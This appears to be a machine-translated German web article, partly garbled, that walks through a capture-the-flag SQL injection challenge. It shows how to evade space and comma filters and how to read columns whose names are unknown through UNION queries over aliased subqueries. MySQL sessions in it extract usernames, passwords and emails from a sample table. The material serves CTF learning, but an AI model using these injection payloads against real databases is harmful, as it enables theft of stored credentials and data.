Heim  >  Artikel  >  Datenbank  >  Ausführliche Erklärung des Beispielcodes, wie MySQL unbekannte Feldnamen geschickt umgeht

Ausführliche Erklärung des Beispielcodes, wie MySQL unbekannte Feldnamen geschickt umgeht

黄舟
黄舟Original
2017-06-04 10:03:39932Durchsuche

In diesem Artikel werden Ihnen hauptsächlich relevante Informationen zum geschickten Umgehen unbekannter Feldnamen in MySQL vorgestellt. Der Artikel enthält detaillierte Beispielcodes für Ihre Referenz und Ihr Studium, die eine gewisse Referenz für das Erlernen von MySQL darstellen. Der Wert des Lernens, Freunde, die es brauchen, schauen Sie sich unten um.

Vorwort

Dieser Artikel stellt die fünfte Frage von DDCTF vor, die Technik zum Umgehen unbekannter Feldnamen. Hier verwende ich diese Maschine, um sie zu bedienen . , die Idee ist großartig und klar, ich möchte sie mit Ihnen teilen, schauen wir uns die detaillierte Einführung an:

Umsetzungsidee

Die Fragenfilter Leerzeichen und Kommas und Leerzeichen können durch die Verwendung von %0a, %0b, %0c, %0d, %a0 oder direkt durch die Verwendung von Klammern umgangen werden

Der Feldname, in dem das Flag gespeichert ist, ist unbekannt. Information_schema.columns wird auch der Hexadezimalwert des Tabellennamens gefiltert. Das heißt, der Feldname kann nicht abgerufen werden. Dann können Sie eine gemeinsame Abfrage verwenden , der Prozess ist wie folgt:

Die Idee ist, die Flagge zu erhalten und sie unter dem bekannten Feldnamen erscheinen zu lassen

Beispielcode:

mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| a | b | c | d |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;
+---+-------+----------+-------------+
| 1 | 2  | 3  | 4   |
+---+-------+----------+-------------+
| 1 | 2  | 3  | 4   |
| 1 | admin | admin888 | 110@110.com |
| 2 | test | test123 | 119@119.com |
| 3 | cs | cs123 | 120@120.com |
+---+-------+----------+-------------+
4 rows in set (0.01 sec)
 
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;
+-------------+
| 4   |
+-------------+
| 4   |
| 110@110.com |
| 119@119.com |
| 120@120.com |
+-------------+
4 rows in set (0.03 sec)
 
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3;
 
+-------------+
| 4   |
+-------------+
| 120@120.com |
+-------------+
1 row in set (0.01 sec)
 
mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;
+-------------+----------+----------+-------------+
| id   | username | password | email  |
+-------------+----------+----------+-------------+
| 1   | admin | admin888 | 110@110.com |
| 120@120.com | 1  | 1  | 1   |
+-------------+----------+----------+-------------+
2 rows in set (0.04 sec)

Zusammenfassung

Das obige ist der detaillierte Inhalt vonAusführliche Erklärung des Beispielcodes, wie MySQL unbekannte Feldnamen geschickt umgeht. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn